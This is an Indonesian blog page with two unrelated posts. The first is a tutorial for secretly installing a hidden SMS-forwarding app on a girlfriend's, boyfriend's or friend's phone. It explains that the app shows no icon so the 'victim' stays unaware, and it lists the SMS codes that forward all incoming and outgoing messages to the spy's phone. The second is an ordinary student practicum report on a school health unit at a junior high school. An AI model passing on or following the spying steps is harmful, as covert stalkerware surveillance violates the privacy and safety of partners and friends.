Jumat, 16 November 2012


Aplikasi Cara Menyadap SMS Pacar dan Teman

Aplikasi Cara Menyadap SMS Pacar dan Teman - Kalian para Cowok ata cewek yang sedang curiga dengan pasangan anda atau anda yang sedang ada kecurigaan dengan teman anda nih Blog's Teguh berikan Aplikasi Cara Menyadap SMS Pacar dan Teman, Langsung saja lihat di bawah untuk lebih jelas :
  1. Download smsanywherelite.sis DISINI
  2. Install aplikasi itu di HP kalian dan teman kalian
  3. Begitu aplikasi ini diinstal, kalian tidak bisa melihat program maupun ikon aplikasi itu dalam ponsel. Seluruh pengontrolannya harus lewat sms, mulai dari pengaktifan dan mematikan program, mengubah password, hingga pengiriman sms ke ponsel lain. Tapi justru itu keuntungannya. Jika digunakan sebagai alat sadap. Berarti sang target kan jangan sampai mengetahui kalau diponselnya telah dipasangi aplikasi tersebut. Justru itu, teman kalian tidak akan tahu kan kalo smsnya disadap? Karena aplikasi ini belum mendukung GUI (Graphics User Interface).
  4. Siapkan ponsel korban kalian
  5. Siapkan HP kamu yang akan menerima sms masuk dari korban.
  6. Aktifkan aplikasi ini di ponsel korban dengan mengetik format sms SA (spasi) (password) (spasi) ON Panjang password maksimal 8 karakter. Misal, jika password kamu adalah 123456, ketikkan SA 123456 ON kirim sms ini ke nomor ponsel kedua/ ponsel kalian. Untuk mematikannya, ketik SA 123456 OFF ke nomor yang sama.
  7. Lalu, jika kalian ingin menyadap lebih dari 5 hari atau setiap sms masuk di hp korban akan selalu diteruskan ke hp anda, ketik sms : SA (spasi) (password)(spasi) R1, misal SA 1234567 R1 Untuk mematikan fungsi ini ganti parameter dibelakang “R” menjadi nol. Jadi, tuliskan SA 1234567 R0. Sedangkan untuk meneruskan setiap sms keluar, kirim sms bertuliskan SA 1234567 S1 ke nomer kalian. Matikan fungsi ini dengan mengirim SMS SA 1234567 S0
  8. Sekarang, setiap korban menerima dan mengirim sms, kalian akan mendapat terusannya sama persis dengan sms aslinya. Dengan begini, kita akan tahu apakah pacar kita selingkuh, atau apakah teman kita berkhianat dan lainnya

Kamis, 02 Februari 2012

LAPORAN PPLK II

BAB I
PENDAHULUAN

A.       Latar Belakang
Program Pengalaman Lapangan Kependidikan (PPLK II) merupakan aplikasi dari keseluruhan mata kuliah yang diambil oleh mahasiswa sebagai bagian dari pendidikan keguruan. Program Pengalaman Lapangan Kependidikan berfungsi untuk melatih mahasiswa menguasai kemampuan keguruan yang utuh dan terintegrasi, sehingga setelah menyelesaikan pendidikannya mereka siap berperan sebagai guru secara mandiri yang memiliki kompetensi sebagai seorang guru profesional. PPLK II merupakan kegiatan yang bersifat intrakurikuler yang wajib diikuti oleh semua mahasiswa FKIP pada perguruan tinggi, begitu juga pada Jurusan Pendidikan Bahasa Inggris.
Program Lapangan Kependidikan juga memberikan kesempatan kepada mahasiswa untuk menerapkan ilmu pengetahuan yang dimiliki atau yang didapat dibangku kuliah secara langsung kepada siswa di sekolah melalui proses belajar mengajar di kelas. Dari proses belajar mengajar tersebut, mahasiswa dapat mengetahui kekurangan serta kelebihannya didalam mengajar. Dengan mengetahui kekurangannya, mahasiswa dapat memperbaikinya sedangkan dari kelebihannya mahasiswa dapat meningkatkannya.
FKIP Universitas Baturaja merupakan salah satu lembaga pendidikan yang berkewajiban untuk menciptakan tenga-tenaga pendidik yang profesional dan berkompetensi di bidangnya. Untuk itu, dalam mencapai visi dan melaksanakan misinya mencetak tenaga-tenaga pendidik yang profesional itu, FKIP Universitas Baturaja menjalin kerjasama dengan sekolah-sekolah dasar, menegah pertama, atas dan kejuruan di Baturaja yang berada dalam lingkungan Dinas Pendidikan Kabupaten Ogan Komering Ulu untuk melaksanakan PPLK II bagi mahasiswanya. Salah satu yang dipilih untuk tempat pelaksanaan PPLK II mahasiswa FKIP Universitas Baturaja tahun 2011/2012 adalah SMP Negeri 8 OKU.
Kegiatan yang dilakukan oleh penulis selama PPLK II di SMP Negeri 8 OKU terbagi menjadi dua yaitu kegiatan mengajar dan non mengajar yang dijadikan program individu. Untuk kegiatan mengajar, penulis mengajar mata pelajaran Bahasa Inggris dikarenakan penulis memang berasal dari jurusan Bahasa Inggris, dalam hal ini penulis mengajar mata pelajaran Bahasa Inggris dibawah bimbingan guru pamong dan guru bidang study Pendidikan Bahasa Inggris lainnya.
Selain kegiatan mengajar tersebut, penulis melaksanakan kegiatan non-mengajar. Disini penulis mengambil kegiatan Usaha Kegiatan Sekolah (UKS). Penulis memilih kegiatan ini, karena penulis mendapati masih kurangnya tingkat kesadaran siswa tentang kesehatan sekolah mereka. Program kerja ini merupakan suatu kegiatan yang dilakukan secara individu guna menemukan kegiatan yang bermanfaat disekolah yang bertujuan untuk mencapai pelaksanaan pembelajaran yang efektif.

Dalam program kerja individu ini bertujuan untuk menumbuhkan minat siswa dalam kesehatan sekolah, agar mereka nyaman melakukan pembelajaran yang sedang berlangsung .
Dari penjelasan diatas, dapat disimpulkan bahwa Program Pengalaman Lapangan Kependidikan merupakan wahana yang sangat baik untuk mempersiapkan mental dan menambah wawasan para mahasiswa sebelum terjun langsung pada dunia kerja nyata. PPLK II merupakan dunia nyata yang memberikan gambaran singkat tentang proses belajar mengajar, dan diharapkan program ini dapat membantu siswa di dalam mengembangkan keterampilan mereka dalam kegiatan belajar mengajar.
B.       Rumusan Masalah
Adapun rumusan masalah dalam laporan ini adalah bagaiman pengelolaan UKS sebagai upaya meningkatkan fasilitas pendukung bagi siswa di SMP Negeri 8 OKU?
C.      Tujuan
Pelaksanaan Program Pengalaman Lapangan Kependidikan mempunyai tujuan sebagai berikut:
1.      Tujuan Kegiatan Mengajar
Tujuan kegiatan mengajar yang dilakuakn penulis selama melaksanakan PPLK di SMP Negeri 8 OKU adalah sebagai berikut
a.    Untuk melatih diri berbagi ilmu pengetahuan tentang Bahasa Inggris  kepada siswa-siswi SMP Negeri 8 OKU.
b.    Mengembangkan kemampuan ilmu penulis pada mata pelajaran Bahasa Inggris yang didapat dibangku perkuliahan.
2.      Tujuan Kegiatan Non-Mengajar
Seperti yang disinggung pada bagian latar belakang, selain menjalankan kegiatan mengajar, penulis juga menjalankan kegiatan non-mengajar seperti melaksanakan piket kantor, melaksanakan kegiatan UKS.
Adapun tujuan dari kegiatan Usaha Kegiatan Sekolah (UKS) ini adalah sebagai berikut:
a.    Untuk menjaga kesehatan siswa yang ada di SMP Negeri 8 OKU.
b.    Menanamkan kepribadian anak didik untuk selalu melakukan Perilaku Hidup Bersih Sehat (PHBS) yang dimulai dari dalam diri sendiri.
D.      Manfaat
Pelaksanaan Program Pengalaman Lapangan Kependidikan mempunyai manfaat sebagai berikut:
1.    Bagi Penulis
a.    Penulis dapat melatih diri sebagai guru mata pelajaran Bahasa Inggris.
b.   Penulis dapat menerapkan ilmu yang telah didapat selama mengikuti perkuliahan di Universitas Baturaja.
c.   Dapat berinteraksi dengan baik diwaktu proses belajar mengajar dengan anak didik.
d.  Meningkatkan pengetahuan penulis mengenai kegiatan Usaha Kegiatan Sekolah (UKS).
e.   Untuk melengkapi tugas akhir Praktik Pengalaman Lapangan Kependidikan (PPLK).
2.    Bagi Siswa
a.    Meningkatkan kemampuan siswa dalam mata pelajaran Bahasa Inggris .
b.   Usaha Kesehatan Sekolah (UKS) dapat meningkatkan kesehatan siswa bila dilaksanakan dengan baik.
3.    Bagi SMP Negeri 8 OKU
Manfaat bagi SMP N 8 OKU adalah dapat mengetahui upaya  pengelolaan Usaha Kesehatan Sekolah (UKS) tersebut untuk meningkatkan fasilitas pendukung bagi siswa.













BAB II
KAJIAN  TEORI

A.      Pengertian Usaha Kesehatan Sekolah
Hidup sehat seperti yang di definisikan oleh badan kesehatan milik Perserikatan Bangsa-Bangsa (PBB) World Health Organization (WHO) adalah keadaan sejahtera dari badan, jiwa, dan sosial yang memungkinkan orang hidup produktif secara sosial dan ekonomi. Sedangkan kesehatan jiwa adalah keadaan yang memungkinkan perkembangan fisik, mental, emosional dan sosial yang optimal dari seseorang. Dalam Undang-Undang Nomor 23 Tahun 1992 pasal 45 tentang kesehatan, ditegaskan bahwa “kesehatan sekolah diselenggarakan untuk meningkatkan kemampuan hidup sehat peserta didik dalam lingkungan sekolah sehingga peserta didik dapat belajar, tumbuh dan berkembang secara optimal sehingga diharapkan dapat menjadikan sumber daya manusia yang berjualitas”.
Menurut Sumantri, (2007) peserta didik itu harus sehat dan orang tua memperhatikan lingkungan yang sehat dan makan makanan yang bergizi sehingga akan tercapai manusia soleh, berilmu dan sehat. Dalam proses belajar dan pembelajaran materi pembelajaran berorientasi pada head, heart dan hand yaitu berkaitan dengan pengetahuan sikap/nilai dan keterampilan. Namun masih diperlukan faktor kesehatan (health) sehingga peserta didik memiliki 4H (head, heart, hand dan health).

Usaha Kesehatan Sekolah adalah usaha untuk membina dan mengembangkan kebiasaan hidup sehat pada peserta didik usia sekolah yang dilakukan secara menyeluruh (komprehensif) dan terpadu (integrative). Usaha Kesehatan Sekolah dilaksanakan  mulai dari TK/RA sampai SLTA/MA, serta dilaksanakan secara berjenjang dari sekolah/madrasah sampai pusat secara terkoordinasi baik antara sekolah dengan tim Pembina UKS dibawahnya dengan yang diatasnya maupun antara sesama tim Pembina UKS yang sejajar. Untuk optimalisasi program UKS perlu ditingkatkan peran serta peserta didik sebagai subjek dan tidak hanya sebagai objek. Dengan UKS ini diharapkan mampu menolong orang lain. Dari pengertian ini maka UKS disebut pula dengan program Child to Child Program, yaitu program dari anak, oleh anak dan untuk anak.
B.       Tujuan Usaha Kesehatan Sekolah
Tujuan usaha kesehatan sekolah secara umum adalah untuk meningkatkan kemampuan hidup sehat dan derajat kesehatan peserta didik sedini mungkin serta menciptakan lingkungan sekolah yang sehat sehingga memungkinkan pertumbuhan dan perkembangan anak yang harmonis dan optimal dalam rangka pembentukkan manusia Indonesia yang berkualitas (Suliha, 2002).
Secara khusus tujuan usaha kesehatan sekolah adalah untuk memupuk kebiasaan hidup sehat dan mempertinggi derajat kesehatan peserta didik yang mencakup memiliki pengetahuan, sikap, dan ketrampilan untuk melaksanakan prinsip hidup sehat, serta berpartisipasi aktif di dalam usaha peningkatan kesehatan. Sehat fisik, mental, sosial maupun lingkungan, serta memiliki daya hayat dan daya tangkal terhadap pengaruh buruk, penyalahgunaan narkoba, alkohol dan kebiasaan merokok serta hal-hal yang berkaitan dengan masalah pornografi dan masalah sosial lainnya (Komang, 2008).
C.      Sasaran Usaha Kesehatan Sekolah
Sasaran pelayanan usaha kesehatan sekolah adalah seluruh peserta didik dari tingkat pendidikan taman kanak-kanak, pendidikan dasar, pendidikan menengah, pendidikan agama, pendidikan kejuruan, pendidikan khusus atau pendidikan sekolah luar biasa (Depkes, 2001).
D.      Program Pokok Usaha Kesehatan Sekolah               
Ada tiga program pokok UKS yang sering disebut dengan trias Usaha Kesehatan Sekolah, yaitu pendidikan kesehatan, pelayanan kesehatan dan pembinaan lingkungan sekolah sehat. Pendidikan kesehatan dilakukan secara intrakurikuler dan ekstrakurikuler. Misalnya, melaksanakan penyuluhan tentang gizi, narkoba dan sebagainya. Melaksanakan pelatihan UKS bagi peserta didik, guru, Pembina UKS dan kader kesehatan. Melaksanakan pendidikan dan kebiasaan hidup bersih melalui program sekolah sehat. Pelayanan kesehatan dilakukan secara komprehensif dan terpadu meliputi, kegiatan promotif, preventif, kuratif dan rehabilitasi.
E.       Sarana dan Prasarana
Dalam pelaksanaanya Usaha Kesehatan Sekolah (UKS) harus didukung oleh sarana dan prasarana yang memadai. Sarana dan prasarana itu meliputi: obat–obatan ringan: seperti obat sakit perut, obat demam, obat sakit kepala dan gigi, kapsul angin, antibiotik, kapas pembersih, kotak obat, alkohol, minyak kayu putih, balsem, dll.
BAB III
PEMBAHASAN

Kegiatan program kerja individu merupakan suatu kegiatan yang dilakukan oleh mahasiswa per individu dalam menemukan suatu permasalahan yang ada di sekolah tempat mahasiswa melaksanakan PPLK II yang tujuannya untuk mencapai pelaksanaan pembelajaran yang efektif dan efisien.
Dalam hal ini penulis mencoba mengangkat permasalahan yang ada yaitu bagaimana peranan usaha kesehatan sekolah dalam meningkatkan kesehatan siswa di SMP Negeri 8 OKU. Ini dikarenakan penulis sadar bahwa kesehatan itu penting bagi peserta didik dalam meningkatkan prestasi belajar mereka.  Sebenarnya UKS di SMP Negeri 8 OKU sudah cukup baik, hal ini terlihat dari kesigapan para pengelola dalam menanggapi masalah yang dialami oleh peserta didik terutama yang menyangkut masalah kesehatan, hanya saja fasilitas pendukungnya yang kurang memadai. Hal ini terlihat pada saat observasi di minggu pertama dalam pelaksanaan kegiatan PPLK II di SMP Negeri 8 OKU berlangsung.
Berdasarkan hasil observasi yang dilakukan oleh penulis, dapat ditarik sebuah kesimpulan bahwa sekolah harus turut berpartisipasi aktif untuk menciptakan dan meningkatkan kesehatan peserta didik melalui Usaha Kesehatan Sekolah. Upaya yang dapat dilakukan antara lain adalah dengan menciptakan lingkungan sekolah yang sehat (Health Promoting School) melalui UKS.
Oleh karena itu diharapkan adanya kerjasama yang baik antara sekolah dengan tim Pembina UKS, agar konsep sekolah sehat di SMP Negeri 8 OKU dapat terwujud. Seperti yang dilansir oleh Departmen Kesehatan Tahun 2008, yang menyebutkan 6 ciri utama sekolah yang dapat mempromosikan atau meningkatkan mutu kesehatan peserta didik, yaitu:
1. Melibatkan semua pihak yang berkaitan dengan masalah kesehatan sekolah, yaitu peserta didik, orang tua, tokoh masyarakat maupun organisasi masyarakat.
2. Berusaha keras untuk menciptakan lingkungan yang sehat dan aman.
3.  Memberikan pendidikan kesehatan dengan mengembangkan kurikulum yang mampu meningkatkan sikap dan perilaku peserta didik yang positif terhadap kesehatan, serta dapat mengembangkan berbagai keterampilan hidup yang mendukung kesehatan fisik, mental dan sosial.
4. Memberikan akses untuk dilaksanakannya pelayanan kesehatan di sekolah.
5.  Menerapkan kebijakan-kebijakan dan upaya-upaya di sekolah untuk meningkatkan kesehatan.
6. Bekerja keras untuk ikut dan berperan serta dalam meningkatkan kesehtan    masyarakat, dengan cara memperhatikan masalah kesehatan yang terjadi di masyarakat.
A.      Kendala yang dialami UKS SMP Negeri 8 OKU
Ada beberapa hal yang menjadi kendala Usaha Kesehatan Sekolah di SMP Negeri 8 OKU yaitu kurang lengkapnya sarana pendukung dan obat-obatan P3K
Di Usaha Kegiatan Sekolah SMP Negeri 8 OKU, obat-obatan yang tersedia masih  minim.

B.       Upaya Pengelolaan Usaha Kegiatan Sekolah di SMP Negri  8 OKU untuk Meningkatkan Fasilitas Pendukung bagi Siswa
Untuk meningkatkan peranan Usaha Kesehatan Sekolah banyak hal-hal yang bisa dilakukan, di antaranya :
1.    Sosialisasi tentang pentingnya UKS bagi kesehatan warga sekolah
Sosialisasi ini dapat dilakukan dengan mendatangkan kader dari puskesmas, yang memberikan penyuluhan tentang Usaha Kesehatan Sekolah, dan hendaknya kegiatan ini di adakan secara rutin, minimal 1 bulan sekali.
2.    Menciptakan lingkungan sekolah yang sehat
Untuk menciptakan lingkungan sekolah yang sehat terdapat beberapa hal yang harus dilakukan oleh tim Usaha Kesehatan Sekolah, diantaranya :
a.       Ada program dan pelaksanaan kegiatan 9 K di setiap kelas/ada jadwal piket siswa.
b.      Ada kerja bakti lingkungan sekolah (piket kapling, piket kelas) termasuk kegiatan pemberantasan sarang nyamuk pada waktu-waktu tertentu yang dilakukan peserta didik dan guru di sekolah (melaksanakan 3M Plus dan Lingkungan Sekolah bebas jentik)
c.       Ada tempat sampah tertutup di depan masing-masing kelas.
d.      Sampah langsung diangkut dan dibuang ketempat pembuangan sampah diluar sekolah.
e.       Adanya penghijauan.
f.       Pengawasan kantin/warung sekolah secara rutin.
g.     Pengelolaan Toga sekolah dan apotek hidup.
h.    Pembuatan dan Pemanfaatan taman/kebun.
3.    Pengadaan Sarana Pendukung
Pengadaan sarana pendukung yang diperlukan, antara lain :
  1. Mengatur dan merawat taman.
  2. Inventaris peralatan dan pengadaan obat


















BAB IV
PENUTUP

A. Kesimpulan
Dari uraian kegiatan PPLK di SMP Negeri 8 OKU tersebut maka dapat disimpulkan sebagai berikut :
1.       Program Pengalaman Lapangan Kependidikan (PPLK) adalah kegiatan yang wajib dilakuakn mahasiswa yang memenuhi syarat tertentu, PPLK ini dilaksanakan untuk mendidik dan membentuk calon guru dengan tujuan agar menjadi seorang guru yang utuh dan profesional melalui pembiaan yang langsung ditetapkan di lapangan.
2.       Kegiatan yang dilakuakn mahasiswa selama PPLK meliputi kegiatan mengajar, non mengajar dan program individu.
3.       Cakupan kegiatan mengajar adalah menyusun persiapan mengajar dan praktik mengajar sesuai dengan pola pengembangan perencanaan pengajaran yang berlaku. Adapun kegiatan mengajar yang penulis lakukan selama PPLK sebanyak 7 kali dengan materi narrative text, descriptive text, expression of sadness, class discussion, speech, poster, banner and pamphlet.
4.       Di SMP Negeri 8 OKU ini banyak kegiatan ekstrakurikuler yang bisa penulis ikuti, di antaranya kegiatan PMR, UKS, Rohis, Olahraga, teater dan sebagainya. Dari yang disebutkan di atas penulis mengambil kegiatan UKS sebagai program kerja individu.

B. Saran
          Saran-saran yang perlu disampaikan pada laporan ini, selama mahasiswa melakukan praktek mengajar di SMP Negeri 8 OKU adalah
1. Guru
a.       Hendaknya guru dapat lebih membimbing siswa/siswi dalam kegiatan mengajar, kendati siswa/siswi SMP Negeri 8 OKU merupakan siswa/siswi unggulan.
b.       Lebih berperan aktif dalam menyukseskan Sekolah Sehat di lingkungan SMP Negeri 8 OKU.
2. Siswa-siswi
a.       Hendaknya siswa tidak membedakan antara guru tetap dan guru mahasiswa PPLK dan bisa bersikap lebih menghargai mahasiswa PPLK.
b.      Hendaknya siswa lebih disiplin, khususnya pada saat kegiatan proses belajar mengajar berlangsung.
c.       Hendaknya siswa menggunakan pakaian dan atribut lengkap sesuai tata tertib sekolah.
d.      Hendaknya siswa-siswi lebih meningkatkan rasa cinta terhadap lingkungan serta menjaga kebersihannya terutama lingkungan tempat mereka menuntut ilmu.
e.       Dapat meningkatkan prestasi belajar dan menjaga ketentraman kelas pada saat proses belajar mengajar.
f.       Dapat menumbuh kembangkan kebiasaan hidup sehat baik di rumah maupun lingkungan sekolah melalui Usaha Kesehatan Sekolah.
g.        Lebih berperan aktif Dalam kegiatan  ekstrakurikuler terutama kegiatan UKS, karena melalui UKS siswa dapat lebih mengetahui pentingnya kesehatan bagi mereka.
2.    Universitas
Diharapkan agar Universitas Baturaja lebih meningkatkan mutu serta kualitas khususnya pada mata kuliah micro teaching, baik dari segi sarana dan prasarananya sehingga mahasiswa benar-benar siap untuk ikut berperan aktif dalam kegiatan belajar mengajar yang sesungguhnya.















DAFTAR  PUSTAKA

Departemen Kesehatan. (2008). Pedoman Pelatihan Kader di Sekolah. Jakarta: Departemen Kesehatan
Dokumen Kepegawaian Tata Usaha SMP Negeri 8 OKU (Arsip Kepegawaian).
Keputusan Bersama Menteri Pendidikan Nasional, Menteri Kesehatan, Menteri Agama dan Menteri Dalam Negeri. Nomor 26 Tahun 2003 tentang Pembinaan dan Pengembangan Usaha Kesehatan Sekolah
Sukmadinata. Ilmu dan Aplikasi Pendidikan. Bandung: Pedagogiana Press
Sumantri, M. (2007). Pendidikan Wanita. Dalam Ali, M., Ibrahim, R.